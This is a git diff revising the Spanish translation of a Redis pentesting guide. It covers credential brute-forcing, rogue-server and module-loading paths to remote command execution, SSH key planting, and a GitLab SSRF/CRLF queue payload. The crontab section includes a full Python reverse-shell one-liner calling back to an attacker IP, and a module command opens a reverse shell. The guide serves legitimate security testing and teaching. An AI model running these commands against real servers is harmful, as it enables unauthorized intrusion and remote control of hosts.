Translated ['src/network-services-pentesting/6379-pentesting-redis.md']

This commit is contained in:
Translator 2025-01-03 23:35:47 +00:00
parent 9ab2a7a37f
commit 0a045c98bd

View File

@ -24,7 +24,7 @@ msf> use auxiliary/scanner/redis/redis_server
### Banner
Redis es un **protocolo basado en texto**, solo puedes **enviar el comando en un socket** y los valores devueltos serán legibles. También recuerda que Redis puede ejecutarse usando **ssl/tls** (pero esto es muy raro).
Redis es un **protocolo basado en texto**, solo puedes **enviar el comando en un socket** y los valores devueltos serán legibles. También recuerda que Redis puede funcionar usando **ssl/tls** (pero esto es muy raro).
En una instancia regular de Redis, solo puedes conectarte usando `nc` o también podrías usar `redis-cli`:
```bash
@ -47,7 +47,7 @@ Además, se puede configurar un **nombre de usuario** en el parámetro `masterus
> Si solo se configura la contraseña, el nombre de usuario utilizado es "**default**".\
> Además, ten en cuenta que **no hay forma de encontrar externamente** si Redis fue configurado solo con contraseña o nombre de usuario + contraseña.
En casos como este, necesitarás **encontrar credenciales válidas** para interactuar con Redis, por lo que podrías intentar [**brute-force**](../generic-hacking/brute-force.md#redis) en él.\
En casos como este, **necesitarás encontrar credenciales válidas** para interactuar con Redis, por lo que podrías intentar [**fuerza bruta**](../generic-hacking/brute-force.md#redis).\
**En caso de que encuentres credenciales válidas, necesitas autenticar la sesión** después de establecer la conexión con el comando:
```bash
AUTH <username> <password>
@ -116,7 +116,7 @@ DUMP <key>
### Shell Interactiva
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) puede obtener automáticamente una shell interactiva o una shell reversa en Redis(<=5.0.5).
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) puede obtener automáticamente una shell interactiva o una shell inversa en Redis(<=5.0.5).
```
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
```
@ -182,6 +182,8 @@ OK
**Esta técnica está automatizada aquí:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
Además, los usuarios del sistema también se pueden descubrir verificando con `config set dir /home/USER`, y tras la confirmación, se puede escribir un nuevo `authorized_keys` en `/home/USER/.ssh/authorized_keys`. Use [redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh) para hacer un ataque de fuerza bruta con una lista de palabras de nombres de usuario y sobrescribir `authorized_keys`.
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
@ -195,14 +197,14 @@ OK
```
El último ejemplo es para Ubuntu, para **Centos**, el comando anterior debería ser: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
Este método también se puede usar para ganar bitcoin [yam](https://www.v2ex.com/t/286981#reply14)
Este método también se puede utilizar para ganar bitcoin [yam](https://www.v2ex.com/t/286981#reply14)
### Cargar Módulo Redis
### Cargar Módulo de Redis
1. Siguiendo las instrucciones de [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) puedes **compilar un módulo redis para ejecutar comandos arbitrarios**.
2. Luego necesitas alguna forma de **subir el** módulo compilado.
3. **Carga el módulo subido** en tiempo de ejecución con `MODULE LOAD /path/to/mymodule.so`
4. **Lista los módulos cargados** para verificar que se cargó correctamente: `MODULE LIST`
1. Siguiendo las instrucciones de [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) puedes **compilar un módulo de redis para ejecutar comandos arbitrarios**.
2. Luego necesitas alguna forma de **subir el módulo compilado**.
3. **Carga el módulo subido** en tiempo de ejecución con `MODULE LOAD /path/to/mymodule.so`.
4. **Lista los módulos cargados** para verificar que se haya cargado correctamente: `MODULE LIST`.
5. **Ejecuta** **comandos**:
```
@ -213,11 +215,11 @@ Este método también se puede usar para ganar bitcoin [yam](https://www.v2ex
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
6. Descarga el módulo cuando quieras: `MODULE UNLOAD mymodule`
6. Descarga el módulo cuando quieras: `MODULE UNLOAD mymodule`.
### Bypass de sandbox LUA
[**Aquí**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) puedes ver que Redis utiliza el comando **EVAL** para ejecutar **código Lua en sandbox**. En la publicación vinculada puedes ver **cómo abusar de ello** usando la función **dofile**, pero [aparentemente](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) esto ya no es posible. De todos modos, si puedes **eludir la** sandbox de Lua podrías **ejecutar comandos arbitrarios** en el sistema. Además, de la misma publicación puedes ver algunas **opciones para causar DoS**.
[**Aquí**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) puedes ver que Redis utiliza el comando **EVAL** para ejecutar **código Lua en sandbox**. En la publicación vinculada puedes ver **cómo abusar de ello** utilizando la función **dofile**, pero [aparentemente](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) esto ya no es posible. De todos modos, si puedes **eludir la sandbox** de Lua podrías **ejecutar comandos arbitrarios** en el sistema. Además, de la misma publicación puedes ver algunas **opciones para causar DoS**.
Algunos **CVEs para escapar de LUA**:
@ -249,13 +251,13 @@ Si puedes enviar una solicitud **en texto claro** **a Redis**, puedes **comunica
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
Por lo tanto, si encuentras una **SSRF vuln** en un sitio web y puedes **controlar** algunos **headers** (quizás con una vulnerabilidad CRLF) o **parámetros POST**, podrás enviar comandos arbitrarios a Redis.
Por lo tanto, si encuentras una **vulnerabilidad SSRF** en un sitio web y puedes **controlar** algunos **encabezados** (quizás con una vulnerabilidad CRLF) o **parámetros POST**, podrás enviar comandos arbitrarios a Redis.
### Ejemplo: Gitlab SSRF + CRLF a Shell
En **Gitlab11.4.7** se descubrió una vulnerabilidad **SSRF** y una **CRLF**. La vulnerabilidad **SSRF** estaba en la **funcionalidad de importar proyecto desde URL** al crear un nuevo proyecto y permitía acceder a IPs arbitrarias en la forma \[0:0:0:0:0:ffff:127.0.0.1] (esto accederá a 127.0.0.1), y la vulnerabilidad **CRLF** fue explotada simplemente **agregando %0D%0A** caracteres a la **URL**.
En **Gitlab11.4.7** se descubrió una vulnerabilidad **SSRF** y una **CRLF**. La vulnerabilidad **SSRF** estaba en la **funcionalidad de importar proyecto desde URL** al crear un nuevo proyecto y permitía acceder a IPs arbitrarias en la forma \[0:0:0:0:0:ffff:127.0.0.1] (esto accederá a 127.0.0.1), y la vulnerabilidad **CRLF** se explotó simplemente **agregando caracteres %0D%0A** a la **URL**.
Por lo tanto, fue posible **abusar de estas vulnerabilidades para comunicarse con la instancia de Redis** que **gestiona colas** desde **gitlab** y abusar de esas colas para **obtener ejecución de código**. La carga útil de abuso de la cola de Redis es:
Por lo tanto, fue posible **abusar de estas vulnerabilidades para comunicarse con la instancia de Redis** que **gestiona colas** de **gitlab** y abusar de esas colas para **obtener ejecución de código**. La carga útil de abuso de la cola de Redis es:
```
multi
sadd resque:gitlab:queues system_hook_push